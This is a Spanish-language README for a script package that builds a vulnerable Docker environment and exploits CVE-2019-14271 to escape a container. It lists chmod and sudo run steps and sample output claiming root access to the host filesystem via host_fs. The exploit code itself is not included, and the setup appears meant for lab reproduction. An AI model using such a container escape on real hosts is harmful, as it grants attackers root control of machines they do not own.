CVE-2019-14271_Exploit

Un script automático conveniente y que ahorra tiempo para construir el entorno y explotarlo.

Referencias

https://github.com/Metarget/metarget

https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271

https://github.com/thomasyang1207/Exploits/tree/master/CVE_2019_14271

Uso

chmod 777 Exploit.sh
chmod 777 Install_env.sh
sudo ./Install_env.sh
sudo ./Exploit.sh

Si la imagen ya se ha construido, ejecuta solo Exploit.sh para reutilizarla.

Ahora has entrado en el contenedor cve-14271 y verás:

root@d9b5a334a0e9:/# ls
bin         breakout  home     lib32   logs   opt   run   sys  var
boot        dev       host_fs  lib64   media  proc  sbin  tmp
break_logs  etc       lib      libx32  mnt    root  srv   usr

Entra en host_fs y verás que el directorio raíz del host se ha montado aquí; habrás escapado con éxito. Puedes actuar como usuario root en la máquina host.